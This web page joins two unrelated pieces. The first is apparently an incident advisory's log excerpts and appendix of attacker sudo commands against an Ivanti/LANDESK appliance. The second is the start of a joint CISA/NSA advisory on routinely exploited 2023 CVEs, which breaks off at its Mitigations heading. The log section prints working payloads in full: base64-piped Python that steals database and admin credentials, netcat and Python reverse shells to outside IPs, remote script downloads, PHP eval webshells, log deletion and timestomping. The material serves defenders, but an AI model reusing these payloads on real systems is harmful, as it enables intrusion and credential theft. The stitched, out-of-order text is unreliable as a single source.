{ Sep 5 01:09:59 REDACTED gsb[996]: /etc/php.ini rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read ())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1) } |
{ Sep 5 01:47:01 REDACTED gsb[2599]: /etc/php.ini rewritten with new timezone: ‘;/usr/bin/echo import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read ())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python;’ (1) } |
{ Sep 5 02:14:08 REDACTED gsb[1273]: /etc/php.ini rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read ())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1) } |
{ Sep 5 22:22:06 REDACTED gsb[9367]: /etc/php.ini rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read ())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1) } |
{ Sep 6 02:39:11 REDACTED gsb[21266]: /etc/php.ini rewritten with new timezone: ‘;/usr/bin/echo import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read ())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python;’ (1) } |
{ Sep 6 03:03:44 REDACTED gsb[11427]: /etc/php.ini rewritten with new timezone: ‘;bash /tmp/Xa27efd2.tmp;’ (1) } |
{ Sep 8 05:18:35 REDACTED gsb[5132]: /etc/php.ini rewritten with new timezone: ‘;/sbin/backuptool –backup;’ (1) } |
{ Sep 8 05:19:34 REDACTED gsb[5325]: /etc/php.ini rewritten with new timezone: ‘;/usr/bin/echo import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read ())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python;’ (1) } |
{ Sep 8 10:37:35 REDACTED gsb[6196]: /etc/php.ini rewritten with new timezone: ‘;nc REDACTED 80 -ssl -e /bin/bash;’ (1) } |
{ Sep 8 10:40:38 REDACTED gsb[8758]: /etc/php.ini rewritten with new timezone: ‘;curl https://gggg.oyr2ohrm.eyes.sh /;’ (1) } |
{ Sep 8 10:41:35 REDACTED gsb[7475]: /etc/php.ini rewritten with new timezone: ‘;curl 98.98.54.209/a.sh -o /dev/shm/a.sh ;’ (1) } |
{ Sep 8 13:10:37 REDACTED gsb[22555]: /etc/php.ini rewritten with new timezone: ‘;nc REDACTED 80 –ssl -e /bin/bash;’ (1) } |
{ Sep 8 13:21:06 REDACTED gsb[24954]: /etc/php.ini rewritten with new timezone: ‘;nc REDACTED 80 –ssl -e /bin/bash;’ (1) } |
{ Sep 8 20:23:14 REDACTED gsb[1899]: /etc/php.ini rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read ())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) | /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1) } |
{ Sep 10 04:36:30 REDACTED gsb[16012]: /etc/php.ini rewritten with new timezone: ‘;/usr/bin/echo python -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“45.33.101.53 “,443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)’== | /usr/bin/base64 -d | /bin/bash;’ (1) } |
{ Sep 10 11:48:32 csa gsb[6829]: /etc/php.ini rewritten with new timezone: ‘;/bin/ python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“156.234.193.18”,44345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’;’ (1) } |
{ Sep 10 05:33:42 REDACTED gsb[17292]: /etc/php.ini rewritten with new timezone: ‘;/usr/bin/echo import os, re, time os.chdir(“/tmp”) d = “/backups/backup-09-01-2024_010101.tar.gz” with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read ())[0] if os.path.exists(d): os.system(“tar zxf {}”.format(d)) pwd = os.popen(“export PGPASSWORD={};echo SELECT username,passwd FROM user_info | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().strip() p = pwd.split(‘:’) k = os.popen(“cat root/.certs/{}.0”.format(p[1])).read().strip() os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (1, ‘{}’, ‘1’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, k[0:200], k[200:700])) os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (2, ‘{}’, ‘2’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, k[700:900], k[900:])) os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (3, ‘{}’, ‘3’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, pwd[0:200], pwd[200:700])) time.sleep(60) os.system(”’export PGPASSWORD={};echo “DELETE FROM blockedcerts”|psql -d brokerdb -U gsbadmin”’.format(dbpwd)) os.system(“rm -rdf *;rm -rf *”)== | /usr/bin/base64 -d | python;’ (1) } |
Appendix B: Sudo Commands
See Table 14 for a list of known sudo commands executed by the threat actors.
Command | Use |
---|---|
sudo: nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/opt/landesk/ldms/LDClient/ldpclient -i ;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo aW1wb3J0IG9zLCByZSwgYmFzZTY0LCB0aW1lCm9zLmNoZGlyKCIvdG1wIikKZCA9ICIvYmFja3VwcyIKZGVmIHNldF9tc2cocCwgdD0nJywgbT0nJyk6CiAgICBpZiB0IGFuZCBtOgogICAgICAgIG1zZyA9ICdBQXt9Ont9QkInLmZvcm1hdCh0LCBiYXNlNjQuYjY0ZW5jb2RlKG0uZW5jb2RlKCkpLmRlY29kZSgpKQogICAgZWxzZToKICAgICAgICBtc2cgPSAnJwogICAgb3Muc3lzdGVtKCcnJ2V4cG9ydCBQR1BBU1NXT1JEPXt9O2VjaG8gInVwZGF0ZSB1c2VyX2luZm8gc2V0IG9yZ2FuaXphdGlvbj0ne30nIHdoZXJlIHVzZXJuYW1lPSdhZG1pbicifHBzcWwgLWQgYnJva2VyZGIgLVUgZ3NiYWRtaW4nJycuZm9ybWF0KHAsIG1zZykpCnRyeToKICAgIHIgPSBtYXgoW29zLnBhdGguam9pbihkLCBmKSBmb3IgZiBpbiBvcy5saXN0ZGlyKGQpIGlmIG9zLnBhdGguaXNmaWxlKG9zLnBhdGguam9pbihkLCBmKSldLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKZXhjZXB0OgogICAgciA9IE5vbmUKd2l0aCBvcGVuKCIvb3B0L2xhbmRlc2svYnJva2VyL2Jyb2tlci5jb25mIikgYXMgZjoKICAgIGRicHdkID0gcmUuZmluZGFsbCgiUEdTUUxfUFc9KC4qKSIsIGYucmVhZCgpKVswXQppZiByOgogICAgcCA9IG9zLnBvcGVuKCJleHBvcnQgUEdQQVNTV09SRD17fTtlY2hvIFNFTEVDVCBwYXNzd2QgRlJPTSB1c2VyX2luZm8gV0hFUkUgdXNlcm5hbWU9XFwnYWRtaW5cXCcgfCBwc3FsIC1kIGJyb2tlcmRiIC1VIGdzYmFkbWluIC1oIGxvY2FsaG9zdCIuZm9ybWF0KGRicHdkKSkucmVhZCgpLnNwbGl0KCJcbiIpWy00XS5zdHJpcCgpLnNwbGl0KCc6JykKICAgIG9zLnN5c3RlbSgidGFyIHp4dmYge30iLmZvcm1hdChyKSkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgZm9yIGYgaW4gb3MubGlzdGRpcignLicpOgogICAgICAgICAgICBpZiByZS5tYXRjaCgicGhwXHd7Nn0iLCBmKToKICAgICAgICAgICAgICAgIG9zLmNobW9kKGYsIDBvNzc3KQogICAgICAgICAgICAgICAgbSA9IG9zLnBvcGVuKCIuL3t9IHt9IHt9IHt9IHJvb3QvLmNlcnRzL3t9LmtleSB7fSIuZm9ybWF0KGYsIHBbNF0sIHBbNV0sIHBbNl0sIHBbMV0sIHBbMV0pKS5yZWFkKCkuc3RyaXAoKQogICAgICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgICAgICBzZXRfbXNnKGRicHdkLCAiUEFTU1dPUkQiLCBtKQogICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoMjQwKQogICAgICAgICAgICAgICAgICAgIHNldF9tc2coZGJwd2QpCiAgICAgICAgICAgICAgICAgICAgZXhpdCgpCmVsc2U6CiAgICBzZXRfbXNnKGRicHdkLCAnRVJST1InLCAnTk8gQkFDS1VQJykKICAgIAogICAgCg== | /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin; |
Updates the “organization” field of the “admin” account in the PGSQL database with python script decoded from base64. The python script decompresses the latest backup of the PGSQL database and extracts the password for the gsbadmin account to access the database. |
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=/sbin/setenforce 0 | Temporarily disables SELinux. |
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo REDACTED_BASE64_PASSWORD | base64 >/opt/landesk/broker/webroot/gsb/site.cnf | Exfiltrates credentials and places them in a site.cnf webfile. |
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo PD9waHAgZXZhbCgkX1BPU1RbImNiNzg2OGM0NjA zNTQ4NTdiNzE5MjA0ZTI3NjZlZGJlIl0pOw== | base64 -d >/opt/landesk/broker/webroot/gsb/view.php | Creates a webshell at view.php. |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/tripwire –update ;/usr/bin/echo ZWNobyAiPD9waHAgc3lzdGVtKCcvYmluL3N1ZG8gJy4Gq FwkX1JFUVVFU1RbJ2EnXSk7IiA+IC9vcHQvbGFuZGVzay9icm 9rZXIvd2Vicm9vdC9nc2IvaGVscC5waHA= | /usr/bin/base64 -d | /bin/bash; |
Creates a webshell at help.php. |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/setPhpTimeZone($TIMEZONE)/// setPhpTimeZone()/g’ /opt/landesk/broker/webroot/gsb/DateTimeTab.php | Comments out the function setPhpTimeZone in DateTimeTab.php that logs the full exploit command. |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/setSystemTimeZone( $TIMEZONE )/// setSystemTimeZone( $TIMEZONE )/g’ /opt/landesk/broker/webroot/gsb/DateTimeTab.php | Comments out the vulnerable function setSystemTimeZone in DateTimeTab.php. |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/GSB main page/GSB main pageneval($_POST[“in39112cnnpkyc1os01q34gp6r60akgi”]);/g’ /opt/landesk/broker/webroot/client/index.php | Adds a webshell into index.php. |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/$canvas_height = 600;/$canvas_height = 600;nteval($_POST[“in39112cnnpkyc1os01q34gp6r60akgi”]);/’ /opt/landesk/broker/webroot/gsb/style.php | Adds a webshell into style.php. |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/client/index.php | Timestomping attempt to change the access and modification of time of index.php. |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/style.php | Timestomping attempt to change the access and modification time of style.php |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/DateTimeTab.php | Timestomping attempt to change the access and modification time of DateTimeTab.php. |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/help.php | Timestomping attempt to change the access and modification time of help.php |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /var/log/messages | Removes evidence. |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/site.cnf | Removes site.cnf file (exfiltrated credentials). |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/client/client.php | Removes one of the original webshells. |
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/view.php |
Removes one of the original webshells. |
2023 Top Routinely Exploited Vulnerabilities
Summary
The following cybersecurity agencies coauthored this joint Cybersecurity Advisory (hereafter collectively referred to as the authoring agencies):
- United States: The Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and National Security Agency (NSA)
- Australia: Australian Signals Directorate’s Australian Cyber Security Centre (ACSC)
- Canada: Canadian Centre for Cyber Security (CCCS)
- New Zealand: New Zealand National Cyber Security Centre (NCSC-NZ) and Computer Emergency Response Team New Zealand (CERT NZ)
- United Kingdom: National Cyber Security Centre (NCSC-UK)
This advisory provides details, collected and compiled by the authoring agencies, on the Common Vulnerabilities and Exposures (CVEs) routinely and frequently exploited by malicious cyber actors in 2023 and their associated Common Weakness Enumerations (CWEs). Malicious cyber actors exploited more zero-day vulnerabilities to compromise enterprise networks in 2023 compared to 2022, allowing them to conduct operations against high priority targets.
The authoring agencies strongly encourage vendors, designers, developers, and end-user organizations to implement the following recommendations, and those found within the Mitigations section of this advisory, to reduce the risk of compromise by malicious cyber actors.
- Vendors, designers, and developers. Implement secure by design and default principles and tactics to reduce the prevalence of vulnerabilities in your software.
- Follow the SP 800-218 Secure Software Development Framework (SSDF) and implement secure by design practices into each stage of the software development life cycle (SDLC). Establish a coordinated vulnerability disclosure program that includes processes to determine root causes of discovered vulnerabilities.
- Prioritize secure by default configurations, such as eliminating default passwords and not requiring additional configuration changes to enhance product security.
- Ensure that published CVEs include the proper CWE field, identifying the root cause of the vulnerability.
- End-user organizations:
- Apply timely patches to systems.
Note: If CVEs identified in this advisory have not been patched, check for signs of compromise before patching. - Implement a centralized patch management system.
- Use security tools such as endpoint detection and response (EDR), web application firewalls, and network protocol analyzers.
- Ask your software providers to discuss their secure by design program, provide links to information about how they are working to remove classes of vulnerabilities, and to set secure default settings.
- Apply timely patches to systems.
Purpose
The authoring agencies developed this document in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.
Technical Details
Key Findings
In 2023, malicious cyber actors exploited more zero-day vulnerabilities to compromise enterprise networks compared to 2022, allowing them to conduct cyber operations against higher-priority targets. In 2023, the majority of the most frequently exploited vulnerabilities were initially exploited as a zero-day, which is an increase from 2022, when less than half of the top exploited vulnerabilities were exploited as a zero-day.
Malicious cyber actors continue to have the most success exploiting vulnerabilities within two years after public disclosure of the vulnerability. The utility of these vulnerabilities declines over time as more systems are patched or replaced. Malicious cyber actors find less utility from zero-day exploits when international cybersecurity efforts reduce the lifespan of zero-day vulnerabilities.
Cybersecurity Efforts to Include
Implementing security-centered product development lifecycles. Software developers deploying patches to fix software vulnerabilities is often a lengthy and expensive process, particularly for zero-days. The use of more robust testing environments and implementing threat modeling throughout the product development lifecycle will likely reduce overall product vulnerabilities.
Increasing incentives for responsible vulnerability disclosure. Global efforts to reduce barriers to responsible vulnerability disclosure could restrict the utility of zero-day exploits used by malicious cyber actors. For example, instituting vulnerability reporting bug bounty programs that allow researchers to receive compensation and recognition for their contributions to vulnerability research may boost disclosures.
Using sophisticated endpoint detection and response (EDR) tools. End users leveraging EDR solutions may improve the detection rate of zero-day exploits. Most zero-day exploits, including at least three of the top 15 vulnerabilities from last year, have been discovered when an end user or EDR system reports suspicious activity or unusual device malfunctions.
Top Routinely Exploited Vulnerabilities
Listed in Table 1 are the top 15 vulnerabilities the authoring agencies observed malicious cyber actors routinely exploiting in 2023 with details also discussed below.
- CVE-2023-3519: This vulnerability affects Citrix NetScaler ADC and NetScaler Gateway.
- Allows an unauthenticated user to cause a stack buffer overflow in the NSPPE process by using a HTTP GET request.
- CVE-2023-4966: This vulnerability affects Citrix NetScaler ADC and NetScaler Gateway.
- Allows session token leakage; a proof-of-concept for this exploit was revealed in October 2023.
- CVE-2023-20198: This vulnerability affects Cisco IOS XE Web UI.
- Allows unauthorized users to gain initial access and issue a command to create a local user and password combination, resulting in the ability to log in with normal user access.
- CVE-2023-20273: This vulnerability affects Cisco IOS XE, following activity from CVE-2023-20198.
- Allows privilege escalation, once a local user has been created, to root privileges.
- CVE-2023-27997: This vulnerability affects Fortinet FortiOS and FortiProxy SSL-VPN.
- Allows a remote user to craft specific requests to execute arbitrary code or commands.
- CVE-2023-34362: This vulnerability affects Progress MOVEit Transfer.
- Allows abuse of an SQL injection vulnerability to obtain a sysadmin API access token.
- Allows a malicious cyber actor to obtain remote code execution via this access by abusing a deserialization call.
- CVE-2023-22515: This vulnerability affects Atlassian Confluence Data Center and Server.
- Allows exploit of an improper input validation issue.
- Arbitrary HTTP parameters can be translated into getter/setter sequences via the XWorks2 middleware and, in turn, allow Java objects to be modified at run time.
- The exploit creates a new administrator user and uploads a malicious plugin to get arbitrary code execution.
- Allows exploit of an improper input validation issue.
- CVE-2021-44228: This vulnerability, known as Log4Shell, affects Apache’s Log4j library, an open source logging framework incorporated into thousands of products worldwide.
- Allows the execution of arbitrary code.
- An actor can exploit this vulnerability by submitting a specially crafted request to a vulnerable system, causing the execution of arbitrary code.
- The request allows a cyber actor to take full control of a system.
- The actor can then steal information, launch ransomware, or conduct other malicious activity.
- Malicious cyber actors began exploiting the vulnerability after it was publicly disclosed in December 2021.
- Allows the execution of arbitrary code.
- CVE-2023-2868: This is a remote command injection vulnerability that affects the Barracuda Networks Email Security Gateway (ESG) Appliance.
- Allows an individual to obtain unauthorized access and remotely execute system commands via the ESG appliance.
- CVE-2022-47966: This is an unauthenticated remote code execution vulnerability that affects multiple products using Zoho ManageEngine.
- Allows an unauthenticated user to execute arbitrary code by providing a crafted samlResponse XML to the ServiceDesk Plus SAML endpoint.
- CVE-2023-27350: This vulnerability affects PaperCut MF/NG.
- Allows a malicious cyber actor to chain an authentication bypass vulnerability with the abuse of built-in scripting functionality to execute code.
- CVE-2020-1472: This vulnerability affects Microsoft Netlogon.
- Allows privilege escalation.
- An unauthorized user may use non-default configurations to establish a vulnerable Netlogon secure channel connection to a domain controller by using the Netlogon Remote Protocol.
Note: This CVE has been included in top routinely exploited vulnerabilities lists since 2021.
- An unauthorized user may use non-default configurations to establish a vulnerable Netlogon secure channel connection to a domain controller by using the Netlogon Remote Protocol.
- Allows privilege escalation.
- CVE-2023-42793: This vulnerability can affect JetBrains TeamCity servers.
- Allows authentication bypass that allows remote code execution against vulnerable JetBrains TeamCity servers.
- CVE-2023-23397: This vulnerability affects Microsoft Office Outlook.
- Allows elevation of privilege.
- A threat actor can send a specially crafted email that the Outlook client will automatically trigger when Outlook processes it.
- This exploit occurs even without user interaction.
- Allows elevation of privilege.
- CVE-2023-49103: This vulnerability affects ownCloud graphapi.
- Allows unauthenticated information disclosure.
- An unauthenticated user can access sensitive data such as admin passwords, mail server credentials, and license keys.
- Allows unauthenticated information disclosure.
Additional Routinely Exploited Vulnerabilities
The authoring agencies identified other vulnerabilities, listed in Table 2, that malicious cyber actors also routinely exploited in 2023—in addition to the 15 vulnerabilities listed in Table 1.
Table 2: Additional Routinely Exploited Vulnerabilities in 2023
Mitigations
Vendors and Developers
The authoring agencies recommend vendors and developers take the following steps to help ensure their products are secure by design and default:
